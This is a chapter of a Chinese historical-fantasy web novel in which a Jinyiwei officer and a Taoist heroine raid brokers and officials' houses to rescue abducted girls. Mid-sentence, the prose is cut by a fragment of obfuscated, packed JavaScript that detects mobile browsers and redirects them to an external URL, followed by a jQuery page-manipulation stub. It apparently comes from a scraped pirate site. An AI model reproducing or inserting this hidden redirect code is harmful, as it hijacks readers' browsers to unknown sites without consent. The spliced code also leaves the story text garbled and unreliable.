那妇人僵在原地,面色满是难以置信,随即扭着胳膊尖喊:“律法是这么写的,可……可京里京外这么多牙行,哪一家不是这么做的!我们家也只是偶尔捡几个没人要的野种,凭什么只拿我们安顺开刀!”
尚蓓看着她被亲信死死制住,冷笑道:“别急,你的同行很快就会进去陪你了。”
不多时,满院妇人婆子仆役都被捆了起来,串成一条往前走。院门贴了封条,尚蓓骑上驴,女孩儿们也畏畏缩缩跟在她身后。
“还请夫人明示……”那妇人已然忍下了那股子怨气,声音卑微到了极点,“我们这……微末小民,也不过图几个银钱,何至劳动北镇抚司啊?”
尚蓓没应她。一行人返至官道,京兆尹府的差役已经在道旁候着了。那为首的官差见了夏楠,连忙上前躬身行礼。
“下官无能,竟劳动大人为这些小案奔波,实在惭愧!”
夏楠鞭稍指了指四个失踪的女孩儿,道:“着家里来领。”
又指指剩余的女孩儿:“仔细核验契书,该放的放,愿赎的赎,剩下的转入官牙。”
最后指牙人:“移交法司,按律定罪。”
几个妇人婆子一愣,皆是一脸如释重负。差役亦是一愣,小心问道:“不知……大人要定什么罪?”
夏楠冷睨他一眼。
“按律定罪。”
那差役不敢再多嘴,连忙应了,上前接手女孩儿们与人犯。尚蓓骑着驴立在一旁,听着脑海中【信誉分+40】,心头犹有些许滞闷。
家里报了官的,对这些女孩儿尚算记挂。家里没报官的,大抵本就不在意她们死活。主动卖女的,更难说会出钱来赎。
自己能做的,也不过是将她们从无所顾忌的黑商手中救出,送到相对规范的官方人贩子手里。
夏楠余光瞥见她神色,眉峰微压,扭头对差役又补了一串:
“本官怀疑她们与施州失踪案有关,故而严查非法拐卖。让官牙核实京中所有仆婢交易,若有来历不明的牙人,一一登记报给北镇抚司。近日再发生失踪案件,需如实查访,不可隐瞒拖延,否则按包庇论处。”
几个牙人听见那案名,连忙哭嚎着说自己干净生意,与那施州之案绝无关系。差役亦是神色一肃,连忙应声应下,不敢拖沓,即刻带着人犯转身离去。
尚蓓缓过神,冲夏楠微微欠身:“多谢大人。”
夏楠轻扯缰绳,向前抬了抬下巴:“下一处。”
尚蓓一甩小鞭,又定位了另一处牙行,救下六个被拐的孩子。
——严格来说,是六个被拐后,有家人惦记的孩子。
“最后五个失踪时间比较早,位置不集中,应该是已经被卖出去了。”尚蓓自袖中摸出张舆图打开,指给几个有标记的宅院,示意给夏楠,“这两个在京内大户,另外三个在京畿几座辅城。”
夏楠随便看了一眼,回她:“今日把京城的找了,杀鸡儆猴。京畿我另派人去办,你留下。”
尚蓓自无不可。她收起舆图,驱着驴往内城返。一驴三马疾行一里半,来到城西一家宅院。门房见是锦衣卫,急急跑进去通报,没过片刻,便有一个青袍官员迎了出来,拱手,神色紧张:
“夏大人大驾光临,有失远迎。不知大人来寒舍有何贵干?”
夏楠亮出令牌,声音冰冷:“奉旨查案。听闻蒋少卿去岁买了个来路不明的丫鬟,名为朱花。限你一炷香时间,把人交出来,否则别怪我不客气。”
蒋少卿一愣,面色有些迷茫:“夏大人,我府上……并没有叫朱花的丫鬟啊。”
夏楠冷哼一声,扶刀:“本名。一炷香。”
那蒋少卿闻言慌忙嗳了一声,蹀蹀地跑回去。夏楠在门口踱了两个来回,便对尚蓓一摆头:“走,进去。”
尚蓓“啊”了一句:“还没到一炷香吧?”
却见他轻嗤:“真给他一炷香?北镇抚司的面子往哪儿搁?”
尚蓓目瞪口呆地看着他把绣春刀一摘,大步大步往里迈,惊得廊下燕雀四散,只得连忙跟进去。一行人直直穿过前院花厅,刚走到抄手游廊,就听见后院闹哄哄的声音传出来:
“你叫什么?你叫什么?谁叫朱花?”
院子里,七八个丫鬟挤做一团,人人自危,纷纷垂首不敢作声。只见一个贵妇人拿着本册子,正一个一个问过去,急得满头大汗。而蒋少卿负手站在阶上瞪眼,厉声吼道:
“谁叫朱花!赶紧站出来!别连累蒋府!”
忽闻月洞门外脚步声裹挟着凶风穿庭而过,他僵硬地扭过头,连忙一躬身:
“对不住夏大人!下官正在着内人核验身契!劳您再等些时候!”
夏楠横刀隔开他半尺:“让开。”
蒋少卿趔趄一下,而后白着脸往旁缩了缩,堪堪扶住廊柱才没倒下。那贵妇人也两股战战,然而她立在庭中,没东西扶,身子一瘫,歪在面前一个丫鬟身上,庭中倒了一连串。
“搜。”
一字令下,两个亲信立马分开闯向东西厢,满院丫鬟婆子哭的哭,躲的躲,乱作一团。尚蓓跟在夏楠身后一步,挠挠头,小心凑近他:
“那个……”
一个眼刀扫过来,惊得尚蓓心里陡然一跳。
这也是北镇抚司的面子?
她垂下眼,往墙角靠了靠。
约莫过了一炷香的功夫,两个亲信提溜着一个粉衣美人出来了。蒋少卿一愣,小心道:
“夏大人要的,不是……丫鬟吗?”
夏楠冷嗤:“入府时是丫鬟。听闻蒋少卿风流成性,焉知你不会把人收为妾室?三年之内入府的,都要查。”
蒋少卿脸一白,再不敢开口。那美人见状,梨花带雨哭道:“老爷救命啊,妾身真的不是什么奸细!”
却见那青袍男子把头撇开,默不作声。美人身子顿时一软,瘫在地上。
夏楠没理会二人之间暗流,向尚蓓轻轻挑眉:“指。”
尚蓓应了一声,很给面子地拱手行了个礼:“是,大人!”
夏楠微微勾唇,见她慢悠悠走上前去,在那群惊慌的丫鬟之间梭巡了一番,最终状似无意地立在一个杏眼丫鬟面前,沉着脸出声:
“你叫什么?”
杏眼丫鬟身子立刻抖起来:
“回、回大人,奴婢红杏……”
尚蓓颔首,而后对贵妇人道:“把她的身契给我。”
那贵妇人勉强支起身子,指尖颤抖着从一沓身契中拣出一张,递给她时几乎拿不住。尚蓓接过,又比对着其它契书,状似仔细查看了一番,而后回身对夏楠道:
“夏大人,这契书是伪造的。此女就是癸卯二月,建城被拐的农女,朱花。”
满院皆是一愣。夏楠冷声接口:“原来是建城人啊。本官还以为……”
他靠近那蒋少卿两步,拇指将佩刀推开半寸,眼
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17550782|204329||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
底狠戾:“是施州失踪的姑娘,跑到蒋府来了呢。”
蒋少卿吓得连连摆手:“下官不知!下官真的不知!这是牙行送来的人,契书看着一切齐全,下官哪里会想到是伪造的!下官与那施州案绝无关联!”
夏楠抬起刀柄,抵了抵蒋少卿的肩膀。
“蒋府往后买人可要验准了,别一不小心买到什么伪装身份的奸细,丢了你蒋家满门的性命。”
说罢,他也不再看那满院噤若寒蝉的众人,抬手对亲信道:“带走。”
尚蓓扶着一脸惊慌的朱花,随夏楠等人向蒋府外行去,身后传来蒋少卿怒喝的声音:“没用的东西!买个丫鬟都买不清楚!”
朱花僵着身子大气也不敢出,直到被她扶上门口一辆小车,才迷茫地眨眨眼。
“奴婢……不用进诏狱吗?”
尚蓓再没憋住,噗嗤一笑:“你想进吗?”
朱花连忙摇头:“奴婢不想,奴婢只是……”
盘着妙常髻的女子轻轻拍拍她:“别叫奴婢了,你爹还在等你。”
听她解释完缘由,身着婢女装的女孩儿终于哭出声:“爹……花儿再也不贪玩了……”
夏楠靠在马背旁,不耐烦地梳了梳马鬃:“别浪费时间了,还有一个。”
尚蓓点点头,将朱花交给一旁等候的差役,看着小车消失在巷尾,才骑上驴,轻哼一声:
“北镇抚司的面子真是不得了,一炷香的差事硬是办出了一甲子的气势。”
夏楠驱着马缀在她右侧丈许,闻言瞥她一眼:“这蒋少卿最是多嘴,阵仗闹大些,不出两日,京中就能传开了。到时候各家买人都得擦亮些眼睛。”
尚蓓“哦”了一声:“那你瞪我干嘛。”
夏楠挑眉,声音里带着几分揶揄:“怕你会不了意,直接指出朱花,我不好造势。”
尚蓓撇撇嘴:“那你也没会我的意啊。我只是想让你把她们弄散些,我才好结合卦象判断朱花是谁。不然她们挤在一起,我不好认。”
她故意驱着驴靠近他些,惊得他马蹄一乱。夏楠连忙扯住缰绳坐稳,往街边靠了靠,皱眉挥鞭在两人当中“啪”地一甩,路面虚扬起一堵尘墙。
“别过来。再过来砍你驴腿。”
尚蓓一乐,轻甩小鞭“驾”了一声,拽着驴头往他斜前方堵去。夏楠骤然一个勒马,勉强刹在她身后一丈远处,咬着牙磨出来两个字:“尚蓓!你给我好好参悟道法,别仗着你那异相害人!”
尚蓓笑着轻轻收住驴儿,慢悠悠继续往前晃。待夏楠驱马绕到她左侧丈许,这才开口道:“那夏大人可得多给贫道找些涨功德的差事,不然,只好劳烦大人的爱马迁就贫道的爱驴了。”
夏楠冷嗤:“你放心,施州这桩案子结了,也少不了你的差事。等你悟够了道法,就跟着我上京外跑案子,一刻也别想得闲。”
尚蓓心里一紧,面上却云淡风轻:“那贫道就期待着了。”
两人且行且谈,又到了城南一处大宅。夏楠照常甩了个下马威,把那大宅吓成个鹌鹑窝,还特地让那一众仆婢散开些,这才让尚蓓挑出个十二岁的女孩儿,交给差役带走。
听着脑海中【信誉分+10】,她心中总算是松了口气。虽然对夏楠而言只是幌子,可对她而言,她救的是实实在在的人。
调转马头,夏楠往北镇抚司行去:“回吧,陛下指了寅时道长来算命格,她应该已经到了。”